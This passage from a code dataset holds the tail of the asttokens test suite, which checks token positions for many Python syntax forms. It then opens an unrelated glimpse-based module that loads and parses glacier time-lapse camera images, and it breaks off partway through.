\":'x y z' \\\\\\n'''a b c''' \\\"u v w\\\"\"\n    })\n    self.assertEqual(m.view_nodes_at(4, 7), {\n      node_name + \":'x y z'   # comment2\\n       'a b c'   # comment3\\n       'u v w'\"\n    })\n\n\n  def test_print_function(self):\n    # This testcase imports print as function (using from __future__). Check that we can parse it.\n    # verify_all_nodes doesn't work on Python 2 because the print() call parsed in isolation\n    # is viewed as a Print node since it doesn't see the future import\n    source = tools.read_fixture('astroid/nonregr.py')\n    m = self.create_mark_checker(source, verify=six.PY3)\n\n    # Line 16 is: [indent 8] print(v.get('yo'))\n    self.assertEqual(m.view_nodes_at(16, 8),\n                     { \"Call:print(v.get('yo'))\", \"Expr:print(v.get('yo'))\", \"Name:print\" })\n    self.assertEqual(m.view_nodes_at(16, 14), {\"Call:v.get('yo')\", \"Attribute:v.get\", \"Name:v\"})\n\n  # To make sure we can handle various hard cases, we include tests for issues reported for a\n  # similar project here: https://bitbucket.org/plas/thonny\n\n  if not six.PY2:\n    def test_nonascii(self):\n      # Test of https://bitbucket.org/plas/thonny/issues/162/weird-range-marker-crash-with-non-ascii\n      # Only on PY3 because Py2 doesn't support unicode identifiers.\n      for source in (\n        \"℘·2=1+a℘·b+a℘·2b\",  # example from https://github.com/python/cpython/issues/68382\n        \"sünnikuupäev=str((18+int(isikukood[0:1])-1)//2)+isikukood[1:3]\",\n        \"sünnikuupaev=str((18+int(isikukood[0:1])-1)//2)+isikukood[1:3]\"):\n        m = self.create_mark_checker(source)\n        self.assertEqual(m.view_nodes_at(1, 0), {\n          \"Module:%s\" % source,\n          \"Assign:%s\" % source,\n          \"%s:%s\" % (\"AssignName\" if self.is_astroid_test else \"Name\", source.split(\"=\")[0]),\n        })\n\n\n  if sys.version_info[0:2] >= (3, 6):\n    # f-strings are only supported in Python36. We don't handle them fully, for a couple of\n    # reasons: parsed AST nodes are not annotated with correct line and col_offset (see\n    # https://bugs.python.org/issue29051), and there are confusingly two levels of tokenizing.\n    # Meanwhile, we only parse to the level of JoinedStr, and verify that.\n    def test_fstrings(self):\n      for source in (\n        '(f\"He said his name is {name!r}.\",)',\n        \"f'{function(kwarg=24)}'\",\n        'a = f\"\"\"result: {value:{width}.{precision}}\"\"\"',\n        \"\"\"[f\"abc {a['x']} def\"]\"\"\",\n        \"def t():\\n  return f'{function(kwarg=24)}'\"):\n        self.create_mark_checker(source)\n\n    def test_adjacent_joined_strings(self):\n        source = \"\"\"\nfoo = f'x y z' \\\\\nf'''a b c''' f\"u v w\"\nbar = ('x y z'   # comment2\n       'a b c'   # comment3\n       f'u v w'\n      )\n\"\"\"\n        m = self.create_mark_checker(source)\n        self.assertEqual(m.view_nodes_at(2, 6), {\n            \"JoinedStr:f'x y z' \\\\\\nf'''a b c''' f\\\"u v w\\\"\"\n        })\n        self.assertEqual(m.view_nodes_at(4, 7), {\n            \"JoinedStr:'x y z'   # comment2\\n       'a b c'   # comment3\\n       f'u v w'\"\n        })\n\n\n  def test_splat(self):\n    # See https://bitbucket.org/plas/thonny/issues/151/debugger-crashes-when-encountering-a-splat\n    source = textwrap.dedent(\"\"\"\n      arr = [1,2,3,4,5]\n      def print_all(a, b, c, d, e):\n          print(a, b, c, d ,e)\n      print_all(*arr)\n    \"\"\")\n    m = self.create_mark_checker(source)\n    self.assertEqual(m.view_nodes_at(5, 0),\n        { \"Expr:print_all(*arr)\", \"Call:print_all(*arr)\", \"Name:print_all\" })\n    if not six.PY2 or self.is_astroid_test:\n      self.assertEqual(m.view_nodes_at(5, 10), { \"Starred:*arr\" })\n    self.assertEqual(m.view_nodes_at(5, 11), { \"Name:arr\" })\n\n\n  def test_paren_attr(self):\n    # See https://bitbucket.org/plas/thonny/issues/123/attribute-access-on-parenthesized\n    source = \"(x).foo()\"\n    m = self.create_mark_checker(source)\n    self.assertEqual(m.view_nodes_at(1, 1), {\"Name:x\"})\n    self.assertEqual(m.view_nodes_at(1, 0),\n                     {\"Module:(x).foo()\", \"Expr:(x).foo()\", \"Call:(x).foo()\", \"Attribute:(x).foo\"})\n\n  def test_conditional_expr(self):\n    # See https://bitbucket.org/plas/thonny/issues/108/ast-marker-crashes-with-conditional\n    source = \"a = True if True else False\\nprint(a)\"\n    m = self.create_mark_checker(source)\n    name_a = 'AssignName:a' if self.is_astroid_test else 'Name:a'\n    const_true = ('Const:True' if self.is_astroid_test else\n                  'Name:True' if six.PY2 else\n                  'Constant:True')\n    self.assertEqual(m.view_nodes_at(1, 0),\n                     {name_a, \"Assign:a = True if True else False\", \"Module:\" + source})\n    self.assertEqual(m.view_nodes_at(1, 4),\n                     {const_true, 'IfExp:True if True else False'})\n    if six.PY2:\n      self.assertEqual(m.view_nodes_at(2, 0), {\"Print:print(a)\"})\n    else:\n      self.assertEqual(m.view_nodes_at(2, 0), {\"Name:print\", \"Call:print(a)\", \"Expr:print(a)\"})\n\n  def test_calling_lambdas(self):\n    # See https://bitbucket.org/plas/thonny/issues/96/calling-lambdas-crash-the-debugger\n    source = \"y = (lambda x: x + 1)(2)\"\n    m = self.create_mark_checker(source)\n    self.assertEqual(m.view_nodes_at(1, 4), {'Call:(lambda x: x + 1)(2)'})\n    self.assertEqual(m.view_nodes_at(1, 15), {'BinOp:x + 1', 'Name:x'})\n    if self.is_astroid_test:\n      self.assertEqual(m.view_nodes_at(1, 0), {'AssignName:y', 'Assign:'+source, 'Module:'+source})\n    else:\n      self.assertEqual(m.view_nodes_at(1, 0), {'Name:y', 'Assign:' + source, 'Module:' + source})\n\n  def test_comprehensions(self):\n    # See https://bitbucket.org/plas/thonny/issues/8/range-marker-doesnt-work-correctly-with\n    for source in (\n      \"[(key, val) for key, val in ast.iter_fields(node)]\",\n      \"((key, val) for key, val in ast.iter_fields(node))\",\n      \"{(key, val) for key, val in ast.iter_fields(node)}\",\n      \"{key: val for key, val in ast.iter_fields(node)}\",\n      \"[[c for c in key] for key, val in ast.iter_fields(node)]\"):\n      self.create_mark_checker(source)\n\n  def test_trailing_commas(self):\n    # Make sure we handle trailing commas on comma-separated structures (e.g. tuples, sets, etc.)\n    for source in (\n      \"(a,b,)\",\n      \"[c,d,]\",\n      \"{e,f,}\",\n      \"{h:1,i:2,}\"):\n      self.create_mark_checker(source)\n\n  def test_tuples(self):\n    def get_tuples(code):\n      m = self.create_mark_checker(code)\n      return [m.atok.get_text(n) for n in m.all_nodes if n.__class__.__name__ == \"Tuple\"]\n\n    self.assertEqual(get_tuples(\"a,\"), [\"a,\"])\n    self.assertEqual(get_tuples(\"(a,)\"), [\"(a,)\"])\n    self.assertEqual(get_tuples(\"(a),\"), [\"(a),\"])\n    self.assertEqual(get_tuples(\"((a),)\"), [\"((a),)\"])\n    self.assertEqual(get_tuples(\"(a,),\"), [\"(a,),\", \"(a,)\"])\n    self.assertEqual(get_tuples(\"((a,),)\"), [\"((a,),)\", \"(a,)\"])\n    self.assertEqual(get_tuples(\"()\"), [\"()\"])\n    self.assertEqual(get_tuples(\"(),\"), [\"(),\", \"()\"])\n    self.assertEqual(get_tuples(\"((),)\"), [\"((),)\", \"()\"])\n    self.assertEqual(get_tuples(\"((),(a,))\"), [\"((),(a,))\", \"()\", \"(a,)\"])\n    self.assertEqual(get_tuples(\"((),(a,),)\"), [\"((),(a,),)\", \"()\", \"(a,)\"])\n    self.assertEqual(get_tuples(\"((),(a,),),\"), [\"((),(a,),),\", \"((),(a,),)\", \"()\", \"(a,)\"])\n    self.assertEqual(get_tuples('((foo, bar),)'), ['((foo, bar),)', '(foo, bar)'])\n    self.assertEqual(get_tuples('(foo, bar),'), ['(foo, bar),', '(foo, bar)'])\n    self.assertEqual(get_tuples('def foo(a=()): ((x, (y,)),) = ((), (a,),),'), [\n      '()', '((x, (y,)),)', '(x, (y,))', '(y,)', '((), (a,),),', '((), (a,),)', '()', '(a,)'])\n    self.assertEqual(get_tuples('def foo(a=()): ((x, (y,)),) = [(), [a,],],'), [\n      '()', '((x, (y,)),)', '(x, (y,))', '(y,)', '[(), [a,],],', '()'])\n\n  def test_dict_order(self):\n    # Make sure we iterate over dict keys/values in source order.\n    # See https://github.com/gristlabs/asttokens/issues/31\n    source = 'f({1: (2), 3: 4}, object())'\n    self.create_mark_checker(source)\n\n  def test_del_dict(self):\n    # See https://bitbucket.org/plas/thonny/issues/24/try-del-from-dictionary-in-debugging-mode\n    source = \"x = {4:5}\\ndel x[4]\"\n    m = self.create_mark_checker(source)\n    self.assertEqual(m.view_nodes_at(1, 4), {'Dict:{4:5}'})\n    if self.is_astroid_test:\n      self.assertEqual(m.view_nodes_at(1, 5), {'Const:4'})\n    else:\n      self.assertEqual(m.view_nodes_at(1, 5), {'Constant:4'})\n    self.assertEqual(m.view_nodes_at(2, 0), {'Delete:del x[4]'})\n    self.assertEqual(m.view_nodes_at(2, 4), {'Name:x', 'Subscript:x[4]'})\n\n  if not six.PY2:\n    def test_bad_tokenless_types(self):\n      # Cases where _get_text_positions_tokenless is incorrect in 3.8.\n      source = textwrap.dedent(\"\"\"\n        def foo(*, name: str):  # keyword-only argument with type annotation\n          pass\n\n        f(*(x))  # ast.Starred with parentheses\n      \"\"\")\n      self.create_mark_checker(source)\n\n    def test_return_annotation(self):\n      # See https://bitbucket.org/plas/thonny/issues/9/range-marker-crashes-on-function-return\n      source = textwrap.dedent(\"\"\"\n        def liida_arvud(x: int, y: int) -> int:\n          return x + y\n      \"\"\")\n      m = self.create_mark_checker(source)\n      self.assertEqual(m.view_nodes_at(2, 0),\n        {'FunctionDef:def liida_arvud(x: int, y: int) -> int:\\n  return x + y'})\n      if self.is_astroid_test:\n        self.assertEqual(m.view_nodes_at(2, 16),   {'Arguments:x: int, y: int', 'AssignName:x'})\n      else:\n        self.assertEqual(m.view_nodes_at(2, 16),   {'arguments:x: int, y: int', 'arg:x: int'})\n      self.assertEqual(m.view_nodes_at(2, 19),   {'Name:int'})\n      self.assertEqual(m.view_nodes_at(2, 35),   {'Name:int'})\n      self.assertEqual(m.view_nodes_at(3, 2),    {'Return:return x + y'})\n\n  def test_keyword_arg_only(self):\n    # See https://bitbucket.org/plas/thonny/issues/52/range-marker-fails-with-ridastrip-split\n    source = \"f(x=1)\\ng(a=(x),b=[y])\"\n    m = self.create_mark_checker(source)\n    self.assertEqual(m.view_nodes_at(1, 0),\n                     {'Name:f', 'Call:f(x=1)', 'Expr:f(x=1)', 'Module:' + source})\n    self.assertEqual(m.view_nodes_at(2, 0),\n                     {'Name:g', 'Call:g(a=(x),b=[y])', 'Expr:g(a=(x),b=[y])'})\n    self.assertEqual(m.view_nodes_at(2, 11), {'Name:y'})\n    if self.is_astroid_test:\n      self.assertEqual(m.view_nodes_at(1, 2), {'Keyword:x=1'})\n      self.assertEqual(m.view_nodes_at(1, 4), {'Const:1'})\n      self.assertEqual(m.view_nodes_at(2, 2), {'Keyword:a=(x)'})\n      self.assertEqual(m.view_nodes_at(2, 8), {'Keyword:b=[y]'})\n    else:\n      self.assertEqual(m.view_nodes_at(1, 2), {'keyword:x=1'})\n      self.assertEqual(m.view_nodes_at(1, 4), {'Constant:1'})\n      self.assertEqual(m.view_nodes_at(2, 2), {'keyword:a=(x)'})\n      self.assertEqual(m.view_nodes_at(2, 8), {'keyword:b=[y]'})\n\n  def test_decorators(self):\n    # See https://bitbucket.org/plas/thonny/issues/49/range-marker-fails-with-decorators\n    source = textwrap.dedent(\"\"\"\n      @deco1\n      def f():\n        pass\n      @deco2(a=1)\n      def g(x):\n        pass\n\n      @deco3()\n      def g(x):\n        pass\n      \n      @deco4\n      class C:\n        pass\n    \"\"\")\n    m = self.create_mark_checker(source)\n    # The `arguments` node has bogus positions here (and whenever there are no arguments). We\n    # don't let that break our test because it's unclear if it matters to anything anyway.\n    self.assertIn('FunctionDef:@deco1\\ndef f():\\n  pass', m.view_nodes_at(2, 0))\n    self.assertEqual(m.view_nodes_at(2, 1), {'Name:deco1'})\n    if self.is_astroid_test:\n      self.assertEqual(m.view_nodes_at(5, 0), {\n        'FunctionDef:@deco2(a=1)\\ndef g(x):\\n  pass',\n        'Decorators:@deco2(a=1)'\n      })\n    else:\n      self.assertEqual(m.view_nodes_at(5, 0), {'FunctionDef:@deco2(a=1)\\ndef g(x):\\n  pass'})\n    self.assertEqual(m.view_nodes_at(5, 1), {'Name:deco2', 'Call:deco2(a=1)'})\n\n    self.assertEqual(m.view_nodes_at(9, 1), {'Name:deco3', 'Call:deco3()'})\n\n  def test_with(self):\n    source = \"with foo: pass\"\n    m = self.create_mark_checker(source)\n    self.assertEqual(m.view_node_types_at(1, 0), {\"Module\", \"With\"})\n    self.assertEqual(m.view_nodes_at(1, 0), {\n      \"Module:with foo: pass\",\n      \"With:with foo: pass\",\n    })\n\n    source = textwrap.dedent(\n      '''\n      def f(x):\n        with A() as a:\n          log(a)\n          with B() as b, C() as c: log(b, c)\n        log(x)\n      ''')\n    # verification fails on Python2 which turns `with X, Y` turns into `with X: with Y`.\n    m = self.create_mark_checker(source, verify=six.PY3)\n    self.assertEqual(m.view_nodes_at(5, 4), {\n      'With:with B() as b, C() as c: log(b, c)'\n    })\n    self.assertEqual(m.view_nodes_at(3, 2), {\n      'With:  with A() as a:\\n    log(a)\\n    with B() as b, C() as c: log(b, c)'\n    })\n    with_nodes = [n for n in m.all_nodes if n.__class__.__name__ == 'With']\n    self.assertEqual({m.view_node(n) for n in with_nodes}, {\n      'With:with B() as b, C() as c: log(b, c)',\n      'With:  with A() as a:\\n    log(a)\\n    with B() as b, C() as c: log(b, c)',\n    })\n\n  def test_one_line_if_elif(self):\n    source = \"\"\"\nif 1: a\nelif 2: b\n    \"\"\"\n    self.create_mark_checker(source)\n\n\n  def test_statements_with_semicolons(self):\n    source = \"\"\"\na; b; c(\n  17\n); d # comment1; comment2\nif 2: a; b; # comment3\nif a:\n  if b: c; d  # comment4\n    \"\"\"\n    m = self.create_mark_checker(source)\n    self.assertEqual(\n      [m.atok.get_text(n) for n in m.all_nodes if util.is_stmt(n)],\n      ['a', 'b', 'c(\\n  17\\n)', 'd', 'if 2: a; b', 'a', 'b',\n       'if a:\\n  if b: c; d', 'if b: c; d', 'c', 'd'])\n\n\n  def test_complex_numbers(self):\n    source = \"\"\"\n1\n-1\nj  # not a complex number, just a name\n1j\n-1j\n1+2j\n3-4j\n1j-1j-1j-1j\n    \"\"\"\n    self.create_mark_checker(source)\n\n  def test_parens_around_func(self):\n    source = textwrap.dedent(\n      '''\n      foo()\n      (foo)()\n      (lambda: 0)()\n      (lambda: ())()\n      (foo)((1))\n      (lambda: ())((2))\n      x = (obj.attribute.get_callback() or default_callback)()\n      ''')\n    m = self.create_mark_checker(source)\n    self.assertEqual(m.view_nodes_at(2, 0), {\"Name:foo\", \"Expr:foo()\", \"Call:foo()\"})\n    self.assertEqual(m.view_nodes_at(3, 1), {\"Name:foo\"})\n    self.assertEqual(m.view_nodes_at(3, 0), {\"Expr:(foo)()\", \"Call:(foo)()\"})\n    self.assertEqual(m.view_nodes_at(4, 0), {\"Expr:(lambda: 0)()\", \"Call:(lambda: 0)()\"})\n    self.assertEqual(m.view_nodes_at(5, 0), {\"Expr:(lambda: ())()\", \"Call:(lambda: ())()\"})\n    self.assertEqual(m.view_nodes_at(6, 0), {\"Expr:(foo)((1))\", \"Call:(foo)((1))\"})\n    self.assertEqual(m.view_nodes_at(7, 0), {\"Expr:(lambda: ())((2))\", \"Call:(lambda: ())((2))\"})\n    self.assertEqual(m.view_nodes_at(8, 4),\n                     {\"Call:(obj.attribute.get_callback() or default_callback)()\"})\n    self.assertIn('BoolOp:obj.attribute.get_callback() or default_callback', m.view_nodes_at(8, 5))\n\n  def test_complex_slice_and_parens(self):\n    source = 'f((x)[:, 0])'\n    self.create_mark_checker(source)\n\n  if six.PY3:\n    def test_sys_modules(self):\n      \"\"\"\n      Verify all nodes on source files obtained from sys.modules.\n      This can take a long time as there are many modules,\n      so it only tests all modules if the environment variable\n      ASTTOKENS_SLOW_TESTS has been set.\n      \"\"\"\n      from .test_astroid import AstroidTreeException\n\n      modules = list(sys.modules.values())\n      if not os.environ.get('ASTTOKENS_SLOW_TESTS'):\n        modules = modules[:20]\n\n      start = time()\n      for module in modules:\n        # Don't let this test (which runs twice) take longer than 13 minutes\n        # to avoid the travis build time limit of 30 minutes\n        if time() - start > 13 * 60:\n          break\n\n        try:\n          filename = inspect.getsourcefile(module)\n        except Exception:  # some modules raise weird errors\n          continue\n\n        if not filename:\n          continue\n\n        filename = os.path.abspath(filename)\n        print(filename)\n        try:\n          with io.open(filename) as f:\n            source = f.read()\n        except OSError:\n          continue\n\n        if self.is_astroid_test and (\n            # Astroid fails with a syntax error if a type comment is on its own line\n            re.search(r'^\\s*# type: ', source, re.MULTILINE)\n        ):\n          print('Skipping', filename)\n          continue\n\n        try:\n          self.create_mark_checker(source)\n        except AstroidTreeException:\n          # Astroid sometimes fails with errors like:\n          #     AttributeError: 'TreeRebuilder' object has no attribute 'visit_typealias'\n          # See https://github.com/gristlabs/asttokens/actions/runs/6015907789/job/16318767911?pr=110\n          # Should be fixed in the next astroid release:\n          #     https://github.com/pylint-dev/pylint/issues/8782#issuecomment-1669967220\n          # Note that this exception is raised before asttokens is even involved,\n          # it's purely an astroid bug that we can safely ignore.\n          continue\n\n  if six.PY3:\n    def test_dict_merge(self):\n      self.create_mark_checker(\"{**{}}\")\n\n    def test_async_def(self):\n      self.create_mark_checker(\"\"\"\nasync def foo():\n  pass\n\n@decorator\nasync def foo():\n  pass\n\"\"\")\n\n    def test_async_for_and_with(self):\n      # Can't verify all nodes because in < 3.7\n      # async for/with outside of a function is invalid syntax\n      m = self.create_mark_checker(\"\"\"\nasync def foo():\n  async for x in y: pass\n  async with x as y: pass\n  \"\"\", verify=False)\n      assert m.view_nodes_at(3, 2) == {\"AsyncFor:async for x in y: pass\"}\n      assert m.view_nodes_at(4, 2) == {\"AsyncWith:async with x as y: pass\"}\n\n    def test_await(self):\n      # Can't verify all nodes because in astroid\n      # await outside of an async function is invalid syntax\n      m = self.create_mark_checker(\"\"\"\nasync def foo():\n  await bar\n  \"\"\", verify=False)\n      assert m.view_nodes_at(3, 2) == {\"Await:await bar\", \"Expr:await bar\"}\n\n  if sys.version_info >= (3, 8):\n    def test_assignment_expressions(self):\n      # From https://www.python.org/dev/peps/pep-0572/\n      self.create_mark_checker(\"\"\"\n# Handle a matched regex\nif (match := pattern.search(data)) is not None:\n    # Do something with match\n    pass\n\n# A loop that can't be trivially rewritten using 2-arg iter()\nwhile chunk := file.read(8192):\n   process(chunk)\n\n# Reuse a value that's expensive to compute\n[y := f(x), y**2, y**3]\n\n# Share a subexpression between a comprehension filter clause and its output\nfiltered_data = [y for x in data if (y := f(x)) is not None]\n\ny0 = (y1 := f(x))  # Valid, though discouraged\n\nfoo(x=(y := f(x)))  # Valid, though probably confusing\n\ndef foo(answer=(p := 42)):  # Valid, though not great style\n    ...\n\ndef foo(answer: (p := 42) = 5):  # Valid, but probably never useful\n    ...\n\nlambda: (x := 1) # Valid, but unlikely to be useful\n\n(x := lambda: 1) # Valid\n\nlambda line: (m := re.match(pattern, line)) and m.group(1) # Valid\n\nif any((comment := line).startswith('#') for line in lines):\n    print(\"First comment:\", comment)\n\nif all((nonblank := line).strip() == '' for line in lines):\n    print(\"All lines are blank\")\n\npartial_sums = [total := total + v for v in values]\n\"\"\")\n\n  if sys.version_info >= (3, 10):\n    def test_match_case(self):\n      m = self.create_mark_checker(\"\"\"\nif 0:\n  match x:\n    case ast.BinOp():\n      if z:\n        pass\n    case cls(a,b) if y:\n      pass\n    case _:\n      match y:\n        case 1:\n          pass\n        case _:\n          pass\n\"\"\")\n      self.assertEqual(m.view_nodes_at(10, 6), {\n        'Match:'\n        '      match y:\\n'\n        '        case 1:\\n'\n        '          pass\\n'\n        '        case _:\\n'\n        '          pass',\n      })\n\n  def parse_snippet(self, text, node):\n    \"\"\"\n    Returns the parsed AST tree for the given text, handling issues with indentation and newlines\n    when text is really an extracted part of larger code.\n    \"\"\"\n    # If text is indented, it's a statement, and we need to put in a scope for indents to be valid\n    # (using textwrap.dedent is insufficient because some lines may not indented, e.g. comments or\n    # multiline strings). If text is an expression but has newlines, we parenthesize it to make it\n    # parsable.\n    # For expressions and statements, we add a dummy statement '_' before it because if it's just a\n    # string contained in an astroid.Const or astroid.Expr it will end up in the doc attribute and be\n    # a pain to extract for comparison\n    # For starred expressions, e.g. `*args`, we wrap it in a function call to make it parsable.\n    # For slices, e.g. `x:`, we wrap it in an indexing expression to make it parsable.\n    indented = re.match(r'^[ \\t]+\\S', text)\n    if indented:\n      return self.module.parse('def dummy():\\n' + text).body[0].body[0]\n    if util.is_starred(node):\n      return self.module.parse('f(' + text + ')').body[0].value.args[0]\n    if util.is_slice(node):\n      return self.module.parse('a[' + text + ']').body[0].value.slice\n    if util.is_expr(node):\n      return self.module.parse('_\\n(' + text + ')').body[1].value\n    if util.is_module(node):\n      return self.module.parse(text)\n    return self.module.parse('_\\n' + text).body[1]\n\n  def test_assert_nodes_equal(self):\n    \"\"\"\n    Checks that assert_nodes_equal actually fails when given different nodes\n    \"\"\"\n\n    def check(s1, s2):\n      n1 = self.module.parse(s1)\n      n2 = self.module.parse(s2)\n      with self.assertRaises(AssertionError):\n        self.assert_nodes_equal(n1, n2)\n\n    check('a', 'b')\n    check('a*b', 'a+b')\n    check('a*b', 'b*a')\n    check('(a and b) or c', 'a and (b or c)')\n    check('a = 1', 'a = 2')\n    check('a = 1', 'a += 1')\n    check('a *= 1', 'a += 1')\n    check('[a for a in []]', '[a for a in ()]')\n    check(\"for x in y: pass\", \"for x in y: fail\")\n    check(\"1\", \"1.0\")\n    check(\"foo(a, b, *d, c=2, **e)\",\n          \"foo(a, b, *d, c=2.0, **e)\")\n    check(\"foo(a, b, *d, c=2, **e)\",\n          \"foo(a, b, *d, c=2)\")\n    check('def foo():\\n    \"\"\"xxx\"\"\"\\n    None',\n          'def foo():\\n    \"\"\"xx\"\"\"\\n    None')\n\n  nodes_classes = ast.AST\n  context_classes = [ast.expr_context] # type: List[util.AstNode]\n  iter_fields = staticmethod(ast.iter_fields)\n\n  def assert_nodes_equal(self, t1, t2):\n    # Ignore the context of each node which can change when parsing\n    # substrings of source code. We just want equal structure and contents.\n    for context_classes_group in self.context_classes:\n      if isinstance(t1, context_classes_group):\n        self.assertIsInstance(t2, context_classes_group)\n        break\n    else:\n      self.assertEqual(type(t1), type(t2))\n\n    if isinstance(t1, AstroidPosition):\n      # Ignore the lineno/col_offset etc. from astroid\n      return\n\n    if isinstance(t1, (list, tuple)):\n      self.assertEqual(len(t1), len(t2))\n      for vc1, vc2 in zip(t1, t2):\n        self.assert_nodes_equal(vc1, vc2)\n    elif isinstance(t1, self.nodes_classes):\n      self.assert_nodes_equal(\n        list(self.iter_fields(t1)),\n        list(self.iter_fields(t2)),\n      )\n    else:\n      # Weird bug in astroid that collapses spaces in docstrings sometimes maybe\n      if self.is_astroid_test and isinstance(t1, six.string_types):\n        t1 = re.sub(r'^ +$', '', t1, flags=re.MULTILINE)\n        t2 = re.sub(r'^ +$', '', t2, flags=re.MULTILINE)\n\n      self.assertEqual(t1, t2)\n","repo_name":"gristlabs/asttokens","sub_path":"tests/test_mark_tokens.py","file_name":"test_mark_tokens.py","file_ext":"py","file_size_in_byte":34882,"program_lang":"python","lang":"en","doc_type":"code","stars":154,"dataset":"github-code","pt":"18"}
{"seq_id":"20142308782","text":"from __future__ import (print_function, division, unicode_literals)\nimport os\nCG_PATH = os.path.dirname(os.path.abspath(__file__))\nimport sys\nsys.path.insert(0, os.path.join(CG_PATH, '..'))\nimport glimpse\nfrom glimpse.backports import *\nfrom glimpse.imports import (np, pandas, re, datetime, sharedmem, cv2, shapely)\nimport glob\nimport requests\ntry:\n    from functools import lru_cache\nexcept ImportError:\n    # Python 2\n    from backports.functools_lru_cache import lru_cache\ntry:\n    FileNotFoundError\nexcept NameError:\n    # Python 2\n    FileNotFoundError = IOError\n\n# ---- Environment variables ---\n\nprint('cg: Remember to set IMAGE_PATH, KEYPOINT_PATH, and MATCH_PATH')\nIMAGE_PATH = None\nKEYPOINT_PATH = None\nMATCH_PATH = None\nFLAT_IMAGE_PATH = False\n\n# ---- Images ----\n\n@lru_cache(maxsize=1)\ndef Sequences():\n    \"\"\"\n    Return sequences metadata.\n    \"\"\"\n    df = pandas.read_csv(\n        os.path.join(CG_PATH, 'sequences.csv'),\n        parse_dates=['first_time_utc', 'last_time_utc'])\n    # Floor start time subseconds for comparisons to filename times\n    df.first_time_utc = df.first_time_utc.apply(\n        datetime.datetime.replace, microsecond=0)\n    return df.sort_values('first_time_utc').reset_index(drop=True)\n\n@lru_cache(maxsize=1)\ndef Stations():\n    \"\"\"\n    Return stations metadata.\n    \"\"\"\n    path = os.path.join(CG_PATH, 'geojson', 'stations.geojson')\n    return glimpse.helpers.read_geojson(path, crs=32606, key='id')['features']\n\ndef _station_break_index(path):\n    \"\"\"\n    Return index of image in motion break sequence.\n\n    Arguments:\n        path (str): Image path\n\n    Returns:\n        int: Either 0 (original viewdir) or i (viewdir of break i + 1)\n    \"\"\"\n    stations = Stations()\n    ids = parse_image_path(path)\n    station = stations[ids['station']]\n    if 'breaks' not in station['properties']:\n        return 0\n    breaks = station['properties']['breaks']\n    if not breaks:\n        return 0\n    break_images = np.array([x['start'] for x in breaks])\n    idx = np.argsort(break_images)\n    i = np.where(break_images[idx] <= ids['basename'])[0]\n    if i.size > 0:\n        return idx[i[-1]] + 1\n    else:\n        return 0\n\ndef paths_to_datetimes(paths):\n    \"\"\"\n    Return datetime objects parsed from image paths.\n\n    Arguments:\n        paths (iterable): Image paths\n    \"\"\"\n    pattern = re.compile(r'_([0-9]{8}_[0-9]{6})[^\\/]*$')\n    datetimes_str = [pattern.findall(path)[0] for path in paths]\n    return pandas.to_datetime(datetimes_str, format='%Y%m%d_%H%M%S').to_pydatetime()\n\ndef parse_image_path(path, sequence=False):\n    \"\"\"\n    Return metadata parsed from image path.\n\n    Arguments:\n        path (str): Image path or basename\n        sequence (bool): Whether to include sequence metadata (camera, service, ...)\n    \"\"\"\n    basename = glimpse.helpers.strip_path(path)\n    station, date_str, time_str = re.findall('^([^_]+)_([0-9]{8})_([0-9]{6})', basename)[0]\n    capture_time = datetime.datetime.strptime(date_str + time_str, '%Y%m%d%H%M%S')\n    results = dict(basename=basename, station=station,\n        date_str=date_str, time_str=time_str, datetime=capture_time)\n    if sequence:\n        sequences = Sequences()\n        is_row = ((sequences.station == station) &\n            (sequences.first_time_utc <= capture_time) &\n            (sequences.last_time_utc >= capture_time))\n        rows = np.where(is_row)[0]\n        if len(rows) != 1:\n            raise ValueError(\n                'Image path has zero or multiple sequence matches: ' + path)\n        results = glimpse.helpers.merge_dicts(\n            sequences.loc[rows[0]].to_dict(), results)\n    return results\n\ndef find_image(path):\n    \"\"\"\n    Return path to image file.\n\n    Arguments:\n        path (str): Image path or basename\n    \"\"\"\n    ids = parse_image_path(path, sequence=True)\n    filename = ids['basename'] + '.JPG'\n    if FLAT_IMAGE_PATH:\n        img_path = os.path.join(IMAGE_PATH, filename)\n        if os.path.isfile(img_path):\n            return img_path\n        else:\n            raise ValueError('Image not found: ' + path)\n    else:\n        service_dir = os.path.join(IMAGE_PATH, ids['station'],\n            ids['station'] + '_' + ids['service'])\n        found_img = None\n        if os.path.isdir(service_dir):\n            subdirs = [''] + next(os.walk(service_dir))[1]\n            for subdir in subdirs:\n                img_path = os.path.join(service_dir, subdir, filename)\n                if os.path.isfile(img_path):\n                    found_img = img_path\n                    break\n        if found_img:\n            return found_img\n        else:\n            raise ValueError('Image not found: ' + path)\n\ndef load_images(station, services, use_exif=False, service_exif=False, anchors=False,\n    viewdir=True, viewdir_as_anchor=False, file_errors=True, **kwargs):\n    \"\"\"\n    Return list of calibrated Image objects.\n\n    Any available station, camera, image, and viewdir calibrations are loaded\n    and images with image calibrations are marked as anchors.\n\n    Arguments:\n        station (str): Station identifier\n        services (iterable): Service identifiers\n        use_exif (bool): Whether to parse image datetimes from EXIF (slower)\n            rather than parsed from paths (faster)\n        service_exif (bool): Whether to extract EXIF from first image (faster)\n            or all images (slower) in service.\n            If `True`, `Image.datetime` is parsed from path.\n            Always `False` if `use_exif=True`.\n        anchors (bool): Whether to include anchor images even if\n            filtered out by `kwargs['snap']`\n        **kwargs: Arguments to `glimpse.helpers.select_datetimes()`\n    \"\"\"\n    if use_exif:\n        service_exif = False\n    # Sort services in time\n    if isinstance(services, str):\n        services = services,\n    services = np.sort(services)\n    # Parse datetimes of all candidate images\n    paths_service = [glob.glob(os.path.join(IMAGE_PATH, station, station + '_' + service, '*.JPG'))\n        for service in services]\n    paths = np.hstack(paths_service)\n    basenames = [glimpse.helpers.strip_path(path) for path in paths]\n    if use_exif:\n        exifs = [glimpse.Exif(path) for path in paths]\n        datetimes = np.array([exif.datetime for exif in exifs])\n    else:\n        datetimes = paths_to_datetimes(basenames)\n    # Select images based on datetimes\n    indices = glimpse.helpers.select_datetimes(datetimes, **kwargs)\n    if anchors:\n        # Add anchors\n        # HACK: Ignore any <image>-<suffix>.json files\n        anchor_paths = glob.glob(os.path.join(CG_PATH, 'images', station + '_*[0-9].json'))\n        anchor_basenames = [glimpse.helpers.strip_path(path) for path in anchor_paths]\n        if 'start' in kwargs or 'end' in kwargs:\n            # Filter by start, end\n            anchor_datetimes = np.asarray(paths_to_datetimes(anchor_basenames))\n            inrange = glimpse.helpers.select_datetimes(\n                anchor_datetimes, **glimpse.helpers.merge_dicts(kwargs, dict(snap=None)))\n            anchor_basenames = np.asarray(anchor_basenames)[inrange]\n        anchor_indices = np.where(np.isin(basenames, anchor_basenames))[0]\n        indices = np.unique(np.hstack((indices, anchor_indices)))\n    service_breaks = 